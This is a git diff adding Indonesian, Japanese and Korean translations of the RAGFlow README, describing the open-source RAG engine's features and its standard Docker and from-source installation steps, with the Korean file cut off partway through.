+ +## 💡 Apa Itu RAGFlow? + +[RAGFlow](https://ragflow.io/) adalah mesin RAG (Retrieval-Augmented Generation) open-source terkemuka yang mengintegrasikan teknologi RAG mutakhir dengan kemampuan Agent untuk menciptakan lapisan kontekstual superior bagi LLM. Menyediakan alur kerja RAG yang efisien dan dapat diadaptasi untuk perusahaan segala skala. Didukung oleh mesin konteks terkonvergensi dan template Agent yang telah dipra-bangun, RAGFlow memungkinkan pengembang mengubah data kompleks menjadi sistem AI kesetiaan-tinggi dan siap-produksi dengan efisiensi dan presisi yang luar biasa. + +## 🎮 Demo + +Coba demo kami di [https://demo.ragflow.io](https://demo.ragflow.io). + +
+ + +
+ +## 🔥 Pembaruan Terbaru + +- 2025-08-08 Mendukung model seri GPT-5 terbaru dari OpenAI. +- 2025-08-04 Mendukung model baru, termasuk Kimi K2 dan Grok 4. +- 2025-08-01 Mendukung alur kerja agen dan MCP. +- 2025-05-23 Menambahkan komponen pelaksana kode Python/JS ke Agen. +- 2025-05-05 Mendukung kueri lintas bahasa. +- 2025-03-19 Mendukung penggunaan model multi-modal untuk memahami gambar di dalam file PDF atau DOCX. +- 2025-02-28 dikombinasikan dengan pencarian Internet (TAVILY), mendukung penelitian mendalam untuk LLM apa pun. +- 2024-12-18 Meningkatkan model Analisis Tata Letak Dokumen di DeepDoc. +- 2024-08-22 Dukungan untuk teks ke pernyataan SQL melalui RAG. + +## 🎉 Tetap Terkini + +⭐️ Star repositori kami untuk tetap mendapat informasi tentang fitur baru dan peningkatan menarik! 🌟 + +
+ +
+ +## 🌟 Fitur Utama + +### 🍭 **"Kualitas Masuk, Kualitas Keluar"** + +- Ekstraksi pengetahuan berbasis pemahaman dokumen mendalam dari data tidak terstruktur dengan format yang rumit. +- Menemukan "jarum di tumpukan data" dengan token yang hampir tidak terbatas. + +### 🍱 **Pemotongan Berbasis Template** + +- Cerdas dan dapat dijelaskan. +- Banyak pilihan template yang tersedia. + +### 🌱 **Referensi yang Didasarkan pada Data untuk Mengurangi Hallusinasi** + +- Visualisasi pemotongan teks memungkinkan intervensi manusia. +- Tampilan cepat referensi kunci dan referensi yang dapat dilacak untuk mendukung jawaban yang didasarkan pada fakta. + +### 🍔 **Kompatibilitas dengan Sumber Data Heterogen** + +- Mendukung Word, slide, excel, txt, gambar, salinan hasil scan, data terstruktur, halaman web, dan banyak lagi. + +### 🛀 **Alur Kerja RAG yang Otomatis dan Mudah** + +- Orkestrasi RAG yang ramping untuk bisnis kecil dan besar. +- LLM yang dapat dikonfigurasi serta model embedding. +- Peringkat ulang berpasangan dengan beberapa pengambilan ulang. +- API intuitif untuk integrasi yang mudah dengan bisnis. + +## 🔎 Arsitektur Sistem + +
+ +
+ +## 🎬 Mulai + +### 📝 Prasyarat + +- CPU >= 4 inti +- RAM >= 16 GB +- Disk >= 50 GB +- Docker >= 24.0.0 & Docker Compose >= v2.26.1 +- [gVisor](https://gvisor.dev/docs/user_guide/install/): Hanya diperlukan jika Anda ingin menggunakan fitur eksekutor kode (sandbox) dari RAGFlow. + +> [!TIP] +> Jika Anda belum menginstal Docker di komputer lokal Anda (Windows, Mac, atau Linux), lihat [Install Docker Engine](https://docs.docker.com/engine/install/). + +### 🚀 Menjalankan Server + +1. Pastikan `vm.max_map_count` >= 262144: + + > Untuk memeriksa nilai `vm.max_map_count`: + > + > ```bash + > $ sysctl vm.max_map_count + > ``` + > + > Jika nilainya kurang dari 262144, setel ulang `vm.max_map_count` ke setidaknya 262144: + > + > ```bash + > # Dalam contoh ini, kita atur menjadi 262144: + > $ sudo sysctl -w vm.max_map_count=262144 + > ``` + > + > Perubahan ini akan hilang setelah sistem direboot. Untuk membuat perubahan ini permanen, tambahkan atau perbarui nilai + > `vm.max_map_count` di **/etc/sysctl.conf**: + > + > ```bash + > vm.max_map_count=262144 + > ``` + +2. Clone repositori: + + ```bash + $ git clone https://github.com/infiniflow/ragflow.git + ``` + +3. Bangun image Docker pre-built dan jalankan server: + +> [!CAUTION] +> Semua gambar Docker dibangun untuk platform x86. Saat ini, kami tidak menawarkan gambar Docker untuk ARM64. +> Jika Anda menggunakan platform ARM64, [silakan gunakan panduan ini untuk membangun gambar Docker yang kompatibel dengan sistem Anda](https://ragflow.io/docs/dev/build_docker_image). + +> Perintah di bawah ini mengunduh edisi v0.20.5-slim dari gambar Docker RAGFlow. Silakan merujuk ke tabel berikut untuk deskripsi berbagai edisi RAGFlow. Untuk mengunduh edisi RAGFlow yang berbeda dari v0.20.5-slim, perbarui variabel RAGFLOW_IMAGE di docker/.env sebelum menggunakan docker compose untuk memulai server. Misalnya, atur RAGFLOW_IMAGE=infiniflow/ragflow:v0.20.5 untuk edisi lengkap v0.20.5. + +```bash +$ cd ragflow/docker +# Use CPU for embedding and DeepDoc tasks: +$ docker compose -f docker-compose.yml up -d + +# To use GPU to accelerate embedding and DeepDoc tasks: +# docker compose -f docker-compose-gpu.yml up -d +``` + +| RAGFlow image tag | Image size (GB) | Has embedding models? | Stable? | +| ----------------- | --------------- | --------------------- | ------------------------ | +| v0.20.5 | ≈9 | :heavy_check_mark: | Stable release | +| v0.20.5-slim | ≈2 | ❌ | Stable release | +| nightly | ≈9 | :heavy_check_mark: | _Unstable_ nightly build | +| nightly-slim | ≈2 | ❌ | _Unstable_ nightly build | + +1. Periksa status server setelah server aktif dan berjalan: + + ```bash + $ docker logs -f ragflow-server + ``` + + _Output berikut menandakan bahwa sistem berhasil diluncurkan:_ + + ```bash + + ____ ___ ______ ______ __ + / __ \ / | / ____// ____// /____ _ __ + / /_/ // /| | / / __ / /_ / // __ \| | /| / / + / _, _// ___ |/ /_/ // __/ / // /_/ /| |/ |/ / + /_/ |_|/_/ |_|\____//_/ /_/ \____/ |__/|__/ + + * Running on all addresses (0.0.0.0) + ``` + + > Jika Anda melewatkan langkah ini dan langsung login ke RAGFlow, browser Anda mungkin menampilkan error `network anormal` + > karena RAGFlow mungkin belum sepenuhnya siap. + +2. Buka browser web Anda, masukkan alamat IP server Anda, dan login ke RAGFlow. + > Dengan pengaturan default, Anda hanya perlu memasukkan `http://IP_DEVICE_ANDA` (**tanpa** nomor port) karena + > port HTTP default `80` bisa dihilangkan saat menggunakan konfigurasi default. +3. Dalam [service_conf.yaml.template](./docker/service_conf.yaml.template), pilih LLM factory yang diinginkan di `user_default_llm` dan perbarui + bidang `API_KEY` dengan kunci API yang sesuai. + + > Lihat [llm_api_key_setup](https://ragflow.io/docs/dev/llm_api_key_setup) untuk informasi lebih lanjut. + + _Sistem telah siap digunakan!_ + +## 🔧 Konfigurasi + +Untuk konfigurasi sistem, Anda perlu mengelola file-file berikut: + +- [.env](./docker/.env): Menyimpan pengaturan dasar sistem, seperti `SVR_HTTP_PORT`, `MYSQL_PASSWORD`, dan + `MINIO_PASSWORD`. +- [service_conf.yaml.template](./docker/service_conf.yaml.template): Mengonfigurasi aplikasi backend. +- [docker-compose.yml](./docker/docker-compose.yml): Sistem ini bergantung pada [docker-compose.yml](./docker/docker-compose.yml) untuk memulai. + +Untuk memperbarui port HTTP default (80), buka [docker-compose.yml](./docker/docker-compose.yml) dan ubah `80:80` +menjadi `:80`. + +Pembaruan konfigurasi ini memerlukan reboot semua kontainer agar efektif: + +> ```bash +> $ docker compose -f docker-compose.yml up -d +> ``` + +## 🔧 Membangun Docker Image tanpa Model Embedding + +Image ini berukuran sekitar 2 GB dan bergantung pada aplikasi LLM eksternal dan embedding. + +```bash +git clone https://github.com/infiniflow/ragflow.git +cd ragflow/ +docker build --platform linux/amd64 --build-arg LIGHTEN=1 -f Dockerfile -t infiniflow/ragflow:nightly-slim . +``` + +## 🔧 Membangun Docker Image Termasuk Model Embedding + +Image ini berukuran sekitar 9 GB. Karena sudah termasuk model embedding, ia hanya bergantung pada aplikasi LLM eksternal. + +```bash +git clone https://github.com/infiniflow/ragflow.git +cd ragflow/ +docker build --platform linux/amd64 -f Dockerfile -t infiniflow/ragflow:nightly . +``` + +## 🔨 Menjalankan Aplikasi dari untuk Pengembangan + +1. Instal `uv` dan `pre-commit`, atau lewati langkah ini jika sudah terinstal: + + ```bash + pipx install uv pre-commit + ``` + +2. Clone kode sumber dan instal dependensi Python: + + ```bash + git clone https://github.com/infiniflow/ragflow.git + cd ragflow/ + uv sync --python 3.10 --all-extras # install RAGFlow dependent python modules + uv run download_deps.py + pre-commit install + ``` + +3. Jalankan aplikasi yang diperlukan (MinIO, Elasticsearch, Redis, dan MySQL) menggunakan Docker Compose: + + ```bash + docker compose -f docker/docker-compose-base.yml up -d + ``` + + Tambahkan baris berikut ke `/etc/hosts` untuk memetakan semua host yang ditentukan di **conf/service_conf.yaml** ke `127.0.0.1`: + + ``` + 127.0.0.1 es01 infinity mysql minio redis sandbox-executor-manager + ``` + +4. Jika Anda tidak dapat mengakses HuggingFace, atur variabel lingkungan `HF_ENDPOINT` untuk menggunakan situs mirror: + + ```bash + export HF_ENDPOINT=https://hf-mirror.com + ``` + +5. Jika sistem operasi Anda tidak memiliki jemalloc, instal sebagai berikut: + + ```bash + # ubuntu + sudo apt-get install libjemalloc-dev + # centos + sudo yum install jemalloc + # mac + sudo brew install jemalloc + ``` + +6. Jalankan aplikasi backend: + + ```bash + source .venv/bin/activate + export PYTHONPATH=$(pwd) + bash docker/launch_backend_service.sh + ``` + +7. Instal dependensi frontend: + + ```bash + cd web + npm install + ``` + +8. Jalankan aplikasi frontend: + + ```bash + npm run dev + ``` + + _Output berikut menandakan bahwa sistem berhasil diluncurkan:_ + + ![](https://github.com/user-attachments/assets/0daf462c-a24d-4496-a66f-92533534e187) + + +9. Hentikan layanan front-end dan back-end RAGFlow setelah pengembangan selesai: + + ```bash + pkill -f "ragflow_server.py|task_executor.py" + ``` + + +## 📚 Dokumentasi + +- [Quickstart](https://ragflow.io/docs/dev/) +- [Configuration](https://ragflow.io/docs/dev/configurations) +- [Release notes](https://ragflow.io/docs/dev/release_notes) +- [User guides](https://ragflow.io/docs/dev/category/guides) +- [Developer guides](https://ragflow.io/docs/dev/category/developers) +- [References](https://ragflow.io/docs/dev/category/references) +- [FAQs](https://ragflow.io/docs/dev/faq) + +## 📜 Roadmap + +Lihat [Roadmap RAGFlow 2025](https://github.com/infiniflow/ragflow/issues/4214) + +## 🏄 Komunitas + +- [Discord](https://discord.gg/NjYzJD3GM3) +- [Twitter](https://twitter.com/infiniflowai) +- [GitHub Discussions](https://github.com/orgs/infiniflow/discussions) + +## 🙌 Kontribusi + +RAGFlow berkembang melalui kolaborasi open-source. Dalam semangat ini, kami menerima kontribusi dari komunitas. +Jika Anda ingin berpartisipasi, tinjau terlebih dahulu [Panduan Kontribusi](https://ragflow.io/docs/dev/contributing). diff --git a/README_ja.md b/README_ja.md new file mode 100644 index 0000000..6f5432c --- /dev/null +++ b/README_ja.md @@ -0,0 +1,368 @@ +
+ +ragflow logo + +
+ +

+ README in English + 简体中文版自述文件 + 繁體中文版自述文件 + 日本語のREADME + 한국어 + Bahasa Indonesia + Português(Brasil) +

+ +

+ + follow on X(Twitter) + + + Static Badge + + + docker pull infiniflow/ragflow:v0.20.5 + + + Latest Release + + + license + + + Ask DeepWiki + +

+ +

+ Document | + Roadmap | + Twitter | + Discord | + Demo +

+ +# + +## 💡 RAGFlow とは？ + +[RAGFlow](https://ragflow.io/) は、先進的なRAG（Retrieval-Augmented Generation）技術と Agent 機能を融合し、大規模言語モデル（LLM）に優れたコンテキスト層を構築する最先端のオープンソース RAG エンジンです。あらゆる規模の企業に対応可能な合理化された RAG ワークフローを提供し、統合型コンテキストエンジンと事前構築されたAgentテンプレートにより、開発者が複雑なデータを驚異的な効率性と精度で高精細なプロダクションレディAIシステムへ変換することを可能にします。 + +## 🎮 Demo + +デモをお試しください：[https://demo.ragflow.io](https://demo.ragflow.io)。 + +
+ + +
+ +## 🔥 最新情報 + +- 2025-08-08 OpenAI の最新 GPT-5 シリーズモデルをサポートします。 +- 2025-08-04 新モデル、キミK2およびGrok 4をサポート。 +- 2025-08-01 エージェントワークフローとMCPをサポート。 +- 2025-05-23 エージェントに Python/JS コードエグゼキュータコンポーネントを追加しました。 +- 2025-05-05 言語間クエリをサポートしました。 +- 2025-03-19 PDFまたはDOCXファイル内の画像を理解するために、多モーダルモデルを使用することをサポートします。 +- 2025-02-28 インターネット検索 (TAVILY) と組み合わせて、あらゆる LLM の詳細な調査をサポートします。 +- 2024-12-18 DeepDoc のドキュメント レイアウト分析モデルをアップグレードします。 +- 2024-08-22 RAG を介して SQL ステートメントへのテキストをサポートします。 + +## 🎉 続きを楽しみに + +⭐️ リポジトリをスター登録して、エキサイティングな新機能やアップデートを最新の状態に保ちましょう！すべての新しいリリースに関する即時通知を受け取れます！ 🌟 + +
+ +
+ +## 🌟 主な特徴 + +### 🍭 **"Quality in, quality out"** + +- 複雑な形式の非構造化データからの[深い文書理解](./deepdoc/README.md)ベースの知識抽出。 +- 無限のトークンから"干し草の山の中の針"を見つける。 + +### 🍱 **テンプレートベースのチャンク化** + +- 知的で解釈しやすい。 +- テンプレートオプションが豊富。 + +### 🌱 **ハルシネーションが軽減された根拠のある引用** + +- 可視化されたテキストチャンキング（text chunking）で人間の介入を可能にする。 +- 重要な参考文献のクイックビューと、追跡可能な引用によって根拠ある答えをサポートする。 + +### 🍔 **多様なデータソースとの互換性** + +- Word、スライド、Excel、txt、画像、スキャンコピー、構造化データ、Web ページなどをサポート。 + +### 🛀 **自動化された楽な RAG ワークフロー** + +- 個人から大企業まで対応できる RAG オーケストレーション（orchestration）。 +- カスタマイズ可能な LLM とエンベッディングモデル。 +- 複数の想起と融合された再ランク付け。 +- 直感的な API によってビジネスとの統合がシームレスに。 + +## 🔎 システム構成 + +
+ +
+ +## 🎬 初期設定 + +### 📝 必要条件 + +- CPU >= 4 cores +- RAM >= 16 GB +- Disk >= 50 GB +- Docker >= 24.0.0 & Docker Compose >= v2.26.1 +- [gVisor](https://gvisor.dev/docs/user_guide/install/): RAGFlowのコード実行（サンドボックス）機能を利用する場合のみ必要です。 + +> [!TIP] +> ローカルマシン（Windows、Mac、または Linux）に Docker をインストールしていない場合は、[Docker Engine のインストール](https://docs.docker.com/engine/install/) を参照してください。 + +### 🚀 サーバーを起動 + +1. `vm.max_map_count` >= 262144 であることを確認する: + + > `vm.max_map_count` の値をチェックするには: + > + > ```bash + > $ sysctl vm.max_map_count + > ``` + > + > `vm.max_map_count` が 262144 より大きい値でなければリセットする。 + > + > ```bash + > # In this case, we set it to 262144: + > $ sudo sysctl -w vm.max_map_count=262144 + > ``` + > + > この変更はシステム再起動後にリセットされる。変更を恒久的なものにするには、**/etc/sysctl.conf** の `vm.max_map_count` 値を適宜追加または更新する: + > + > ```bash + > vm.max_map_count=262144 + > ``` + +2. リポジトリをクローンする: + + ```bash + $ git clone https://github.com/infiniflow/ragflow.git + ``` + +3. ビルド済みの Docker イメージをビルドし、サーバーを起動する: + +> [!CAUTION] +> 現在、公式に提供されているすべての Docker イメージは x86 アーキテクチャ向けにビルドされており、ARM64 用の Docker イメージは提供されていません。 +> ARM64 アーキテクチャのオペレーティングシステムを使用している場合は、[このドキュメント](https://ragflow.io/docs/dev/build_docker_image)を参照して Docker イメージを自分でビルドしてください。 + + > 以下のコマンドは、RAGFlow Docker イメージの v0.20.5-slim エディションをダウンロードします。異なる RAGFlow エディションの説明については、以下の表を参照してください。v0.20.5-slim とは異なるエディションをダウンロードするには、docker/.env ファイルの RAGFLOW_IMAGE 変数を適宜更新し、docker compose を使用してサーバーを起動してください。例えば、完全版 v0.20.5 をダウンロードするには、RAGFLOW_IMAGE=infiniflow/ragflow:v0.20.5 と設定します。 + + ```bash + $ cd ragflow/docker + # Use CPU for embedding and DeepDoc tasks: + $ docker compose -f docker-compose.yml up -d + + # To use GPU to accelerate embedding and DeepDoc tasks: + # docker compose -f docker-compose-gpu.yml up -d + ``` + + | RAGFlow image tag | Image size (GB) | Has embedding models? | Stable? | + | ----------------- | --------------- | --------------------- | ------------------------ | + | v0.20.5 | ≈9 | :heavy_check_mark: | Stable release | + | v0.20.5-slim | ≈2 | ❌ | Stable release | + | nightly | ≈9 | :heavy_check_mark: | _Unstable_ nightly build | + | nightly-slim | ≈2 | ❌ | _Unstable_ nightly build | + +1. サーバーを立ち上げた後、サーバーの状態を確認する: + + ```bash + $ docker logs -f ragflow-server + ``` + + _以下の出力は、システムが正常に起動したことを確認するものです:_ + + ```bash + ____ ___ ______ ______ __ + / __ \ / | / ____// ____// /____ _ __ + / /_/ // /| | / / __ / /_ / // __ \| | /| / / + / _, _// ___ |/ /_/ // __/ / // /_/ /| |/ |/ / + /_/ |_|/_/ |_|\____//_/ /_/ \____/ |__/|__/ + + * Running on all addresses (0.0.0.0) + ``` + + > もし確認ステップをスキップして直接 RAGFlow にログインした場合、その時点で RAGFlow が完全に初期化されていない可能性があるため、ブラウザーがネットワーク異常エラーを表示するかもしれません。 + +2. ウェブブラウザで、プロンプトに従ってサーバーの IP アドレスを入力し、RAGFlow にログインします。 + > デフォルトの設定を使用する場合、デフォルトの HTTP サービングポート `80` は省略できるので、与えられたシナリオでは、`http://IP_OF_YOUR_MACHINE`（ポート番号は省略）だけを入力すればよい。 +3. [service_conf.yaml.template](./docker/service_conf.yaml.template) で、`user_default_llm` で希望の LLM ファクトリを選択し、`API_KEY` フィールドを対応する API キーで更新する。 + + > 詳しくは [llm_api_key_setup](https://ragflow.io/docs/dev/llm_api_key_setup) を参照してください。 + + _これで初期設定完了！ショーの開幕です！_ + +## 🔧 コンフィグ + +システムコンフィグに関しては、以下のファイルを管理する必要がある: + +- [.env](./docker/.env): `SVR_HTTP_PORT`、`MYSQL_PASSWORD`、`MINIO_PASSWORD` などのシステムの基本設定を保持する。 +- [service_conf.yaml.template](./docker/service_conf.yaml.template): バックエンドのサービスを設定します。 +- [docker-compose.yml](./docker/docker-compose.yml): システムの起動は [docker-compose.yml](./docker/docker-compose.yml) に依存している。 + +[.env](./docker/.env) ファイルの変更が [service_conf.yaml.template](./docker/service_conf.yaml.template) ファイルの内容と一致していることを確認する必要があります。 + +> [./docker/README](./docker/README.md) ファイル ./docker/README には、service_conf.yaml.template ファイルで ${ENV_VARS} として使用できる環境設定とサービス構成の詳細な説明が含まれています。 + +デフォルトの HTTP サービングポート(80)を更新するには、[docker-compose.yml](./docker/docker-compose.yml) にアクセスして、`80:80` を `:80` に変更します。 + +> すべてのシステム設定のアップデートを有効にするには、システムの再起動が必要です: +> +> ```bash +> $ docker compose -f docker-compose.yml up -d +> ``` + +### Elasticsearch から Infinity にドキュメントエンジンを切り替えます + +RAGFlow はデフォルトで Elasticsearch を使用して全文とベクトルを保存します。［Infinity］に切り替え（https://github.com/infiniflow/infinity/)、次の手順に従います。 + +1. 実行中のすべてのコンテナを停止するには： + ```bash + $ docker compose -f docker/docker-compose.yml down -v + ``` + Note: `-v` は docker コンテナのボリュームを削除し、既存のデータをクリアします。 +2. **docker/.env** の「DOC \_ ENGINE」を「infinity」に設定します。 + +3. 起動コンテナ： + ```bash + $ docker compose -f docker-compose.yml up -d + ``` + > [!WARNING] + > Linux/arm64 マシンでの Infinity への切り替えは正式にサポートされていません。 + +## 🔧 ソースコードで Docker イメージを作成（埋め込みモデルなし） + +この Docker イメージのサイズは約 1GB で、外部の大モデルと埋め込みサービスに依存しています。 + +```bash +git clone https://github.com/infiniflow/ragflow.git +cd ragflow/ +docker build --platform linux/amd64 --build-arg LIGHTEN=1 -f Dockerfile -t infiniflow/ragflow:nightly-slim . +``` + +## 🔧 ソースコードをコンパイルした Docker イメージ（埋め込みモデルを含む） + +この Docker のサイズは約 9GB で、埋め込みモデルを含むため、外部の大モデルサービスのみが必要です。 + +```bash +git clone https://github.com/infiniflow/ragflow.git +cd ragflow/ +docker build --platform linux/amd64 -f Dockerfile -t infiniflow/ragflow:nightly . +``` + +## 🔨 ソースコードからサービスを起動する方法 + +1. `uv` と `pre-commit` をインストールする。すでにインストールされている場合は、このステップをスキップしてください: + + ```bash + pipx install uv pre-commit + ``` + +2. ソースコードをクローンし、Python の依存関係をインストールする: + + ```bash + git clone https://github.com/infiniflow/ragflow.git + cd ragflow/ + uv sync --python 3.10 --all-extras # install RAGFlow dependent python modules + uv run download_deps.py + pre-commit install + ``` + +3. Docker Compose を使用して依存サービス（MinIO、Elasticsearch、Redis、MySQL）を起動する: + + ```bash + docker compose -f docker/docker-compose-base.yml up -d + ``` + + `/etc/hosts` に以下の行を追加して、**conf/service_conf.yaml** に指定されたすべてのホストを `127.0.0.1` に解決します: + + ``` + 127.0.0.1 es01 infinity mysql minio redis sandbox-executor-manager + ``` + +4. HuggingFace にアクセスできない場合は、`HF_ENDPOINT` 環境変数を設定してミラーサイトを使用してください: + + ```bash + export HF_ENDPOINT=https://hf-mirror.com + ``` + +5. オペレーティングシステムにjemallocがない場合は、次のようにインストールします: + + ```bash + # ubuntu + sudo apt-get install libjemalloc-dev + # centos + sudo yum install jemalloc + # mac + sudo brew install jemalloc + ``` + +6. バックエンドサービスを起動する: + + ```bash + source .venv/bin/activate + export PYTHONPATH=$(pwd) + bash docker/launch_backend_service.sh + ``` + +7. フロントエンドの依存関係をインストールする: + + ```bash + cd web + npm install + ``` + +8. フロントエンドサービスを起動する: + + ```bash + npm run dev + ``` + + _以下の画面で、システムが正常に起動したことを示します:_ + + ![](https://github.com/user-attachments/assets/0daf462c-a24d-4496-a66f-92533534e187) + +9. 開発が完了したら、RAGFlow のフロントエンド サービスとバックエンド サービスを停止します: + + ```bash + pkill -f "ragflow_server.py|task_executor.py" + ``` + + +## 📚 ドキュメンテーション + +- [Quickstart](https://ragflow.io/docs/dev/) +- [Configuration](https://ragflow.io/docs/dev/configurations) +- [Release notes](https://ragflow.io/docs/dev/release_notes) +- [User guides](https://ragflow.io/docs/dev/category/guides) +- [Developer guides](https://ragflow.io/docs/dev/category/developers) +- [References](https://ragflow.io/docs/dev/category/references) +- [FAQs](https://ragflow.io/docs/dev/faq) + +## 📜 ロードマップ + +[RAGFlow ロードマップ 2025](https://github.com/infiniflow/ragflow/issues/4214) を参照 + +## 🏄 コミュニティ + +- [Discord](https://discord.gg/NjYzJD3GM3) +- [Twitter](https://twitter.com/infiniflowai) +- [GitHub Discussions](https://github.com/orgs/infiniflow/discussions) + +## 🙌 コントリビュート + +RAGFlow はオープンソースのコラボレーションによって発展してきました。この精神に基づき、私たちはコミュニティからの多様なコントリビュートを受け入れています。 参加を希望される方は、まず [コントリビューションガイド](https://ragflow.io/docs/dev/contributing)をご覧ください。 diff --git a/README_ko.md b/README_ko.md new file mode 100644 index 0000000..c579162 --- /dev/null +++ b/README_ko.md @@ -0,0 +1,368 @@ +
+ +ragflow logo + +
+ +

+ README in English + 简体中文版自述文件 + 繁體版中文自述文件 + 日本語のREADME + 한국어 + Bahasa Indonesia + Português(Brasil) +

+ +

+ + follow on X(Twitter) + + + Static Badge + + + docker pull infiniflow/ragflow:v0.20.5 + + + Latest Release + + + license + + + Ask DeepWiki + +

+ +

+ Document | + Roadmap | + Twitter | + Discord | + Demo +

+ +# + +## 💡 RAGFlow란? + +[RAGFlow](https://ragflow.io/) 는 최첨단 RAG(Retrieval-Augmented Generation)와 Agent 기능을 융합하여 대규모 언어 모델(LLM)을 위한 우수한 컨텍스트 계층을 생성하는 선도적인 오픈소스 RAG 엔진입니다. 모든 규모의 기업에 적용 가능한 효율적인 RAG 워크플로를 제공하며, 통합 컨텍스트 엔진과 사전 구축된 Agent 템플릿을 통해 개발자들이 복잡한 데이터를 예외적인 효율성과 정밀도로 고급 구현도의 프로덕션 준비 완료 AI 시스템으로 변환할 수 있도록 지원합니다. + +## 🎮 데모 + +데모를 [https://demo.ragflow.io](https://demo.ragflow.io)에서 실행해 보세요. + +
+ + +
+ +## 🔥 업데이트 + +- 2025-08-08 OpenAI의 최신 GPT-5 시리즈 모델을 지원합니다. +- 2025-08-04 새로운 모델인 Kimi K2와 Grok 4를 포함하여 지원합니다. +- 2025-08-01 에이전트 워크플로우와 MCP를 지원합니다. +- 2025-05-23 Agent에 Python/JS 코드 실행기 구성 요소를 추가합니다. +- 2025-05-05 언어 간 쿼리를 지원합니다. +- 2025-03-19 PDF 또는 DOCX 파일 내의 이미지를 이해하기 위해 다중 모드 모델을 사용하는 것을 지원합니다. +- 2025-02-28 인터넷 검색(TAVILY)과 결합되어 모든 LLM에 대한 심층 연구를 지원합니다. +- 2024-12-18 DeepDoc의 문서 레이아웃 분석 모델 업그레이드. +- 2024-08-22 RAG를 통해 SQL 문에 텍스트를 지원합니다. + +## 🎉 계속 지켜봐 주세요 + +⭐️우리의 저장소를 즐겨찾기에 등록하여 흥미로운 새로운 기능과 업데이트를 최신 상태로 유지하세요! 모든 새로운 릴리스에 대한 즉시 알림을 받으세요! 🌟 + +
+ +
+ +## 🌟 주요 기능 + +### 🍭 **"Quality in, quality out"** + +- [심층 문서 이해](./deepdoc/README.md)를 기반으로 복잡한 형식의 비정형 데이터에서 지식을 추출합니다. +- 문자 그대로 무한한 토큰에서 "데이터 속의 바늘"을 찾아냅니다. + +### 🍱 **템플릿 기반의 chunking** + +- 똑똑하고 설명 가능한 방식. +- 다양한 템플릿 옵션을 제공합니다. + +### 🌱 **할루시네이션을 줄인 신뢰할 수 있는 인용** + +- 텍스트 청킹을 시각화하여 사용자가 개입할 수 있도록 합니다. +- 중요한 참고 자료와 추적 가능한 인용을 빠르게 확인하여 신뢰할 수 있는 답변을 지원합니다. + +### 🍔 **다른 종류의 데이터 소스와의 호환성** + +- 워드, 슬라이드, 엑셀, 텍스트 파일, 이미지, 스캔본, 구조화된 데이터, 웹 페이지 등을 지원합니다. + +### 🛀 **자동화되고 손쉬운 RAG 워크플로우** + +- 개인 및 대규모 비즈니스에 맞춘 효율적인 RAG 오케스트레이션. +- 구성 가능한 LLM 및 임베딩 모델. +- 다중 검색과 결합된 re-ranking. +- 비즈니스와 원활하게 통합할 수 있는 직관적인 API. + +## 🔎 시스템 아키텍처 + +
+ +
+ +## 🎬 시작하기 + +### 📝 사전 준비 사항 + +- CPU >= 4 cores +- RAM >= 16 GB +- Disk >= 50 GB +- Docker >= 24.0.0 & Docker Compose >= v2.26.1 +- [gVisor](https://gvisor.dev/docs/user_guide/install/): RAGFlow의 코드 실행기(샌드박스) 기능을 사용하려는 경우에만 필요합니다. + +> [!TIP] +> 로컬 머신(Windows, Mac, Linux)에 Docker가 설치되지 않은 경우, [Docker 엔진 설치](<(https://docs.docker.com/engine/install/)>)를 참조하세요. + +### 🚀 서버 시작하기 + +1. `vm.max_map_count`가 262144 이상인지 확인하세요: + + > `vm.max_map_count`의 값을 아래 명령어를 통해 확인하세요: + > + > ```bash + > $ sysctl vm.max_map_count + > ``` + > + > 만약 `vm.max_map_count` 이 262144 보다 작다면 값을 쟈설정하세요. + > + > ```bash + > # 이 경우에 262144로 설정했습니다.: + > $ sudo sysctl -w vm.max_map_count=262144 + > ``` + > + > 이 변경 사항은 시스템 재부팅 후에 초기화됩니다. 변경 사항을 영구적으로 적용하려면 /etc/sysctl.conf 파일에 vm.max_map_count 값을 추가하거나 업데이트하세요: + > + > ```bash + > vm.max_map_count=262144 + > ``` + +2. 레포지토리를 클론하세요: + + ```bash + $ git clone https://github.com/infiniflow/ragflow.git + ``` + +3. 미리 빌드된 Docker 이미지를 생성하고 서버를 시작하세요: + +> [!CAUTION] +> 모든 Docker 이미지는 x86 플랫폼을 위해 빌드되었습니다. 우리는 현재 ARM64 플랫폼을 위한 Docker 이미지를 제공하지 않습니다. +> ARM64 플랫폼을 사용 중이라면, [시스템과 호환되는 Docker 이미지를 빌드하려면 이 가이드를 사용해 주세요](https://ragflow.io/docs/dev/build_docker_image). + + > 아래 명령어는 RAGFlow Docker 이미지의 v0.20.5-slim 버전을 다운로드합니다. 다양한 RAGFlow 버전에 대한 설명은 다음 표를 참조하십시오. v0.20.5-slim과 다른 RAGFlow 버전을 다운로드하려면, docker/.env 파일에서 RAGFLOW_IMAGE 변수를 적절히 업데이트한 후 docker compose를 사용하여 서버를 시작하십시오. 예를 들어, 전체 버전인 v0.20.5을 다운로드하려면 RAGFLOW_IMAGE=infiniflow/ragflow:v0.20.5로 설정합니다. + + ```bash + $ cd ragflow/docker + # Use CPU for embedding and DeepDoc tasks: + $ docker compose -f docker-compose.yml up -d + + # To use GPU to accelerate embedding and DeepDoc tasks: + # docker compose -f docker-compose-gpu.yml up -d + ``` + + | RAGFlow image tag | Image size (GB) | Has embedding models? | Stable? | + | ----------------- | --------------- | --------------------- | ------------------------ | + | v0.20.5 | ≈9 | :heavy_check_mark: | Stable release | + | v0.20.5-slim | ≈2 | ❌ | Stable release | + | nightly | ≈9 | :heavy_check_mark: | _Unstable_ nightly build | + | nightly-slim | ≈2 | ❌ | _Unstable_ nightly build | + +1. 서버가 시작된 후 서버 상태를 확인하세요: + + ```bash + $ docker logs -f ragflow-server + ``` + + _다음 출력 결과로 시스템이 성공적으로 시작되었음을 확인합니다:_ + + ```bash + ____ ___ ______ ______ __ + / __ \ / | / ____// ____// /____ _ __ + / /_/ // /| | / / __ / /_ / // __ \| | /| / / + / _, _// ___ |/ /_/ // __/ / // /_/ /| |/ |/ / + /_/ |_|/_/ |_|\____//_/ /_/ \____/ |__/|__/ + + * Running on all addresses (0.0.0.0) + ``` + + > 만약 확인 단계를 건너뛰고 바로 RAGFlow에 로그인하면, RAGFlow가 완전히 초기화되지 않았기 때문에 브라우저에서 `network anormal` 오류가 발생할 수 있습니다. + +2. 웹 브라우저에 서버의 IP 주소를 입력하고 RAGFlow에 로그인하세요. + > 기본 설정을 사용할 경우, `http://IP_OF_YOUR_MACHINE`만 입력하면 됩니다 (포트 번호는 제외). 기본 HTTP 서비스 포트 `80`은 기본 구성으로 사용할 때 생략할 수 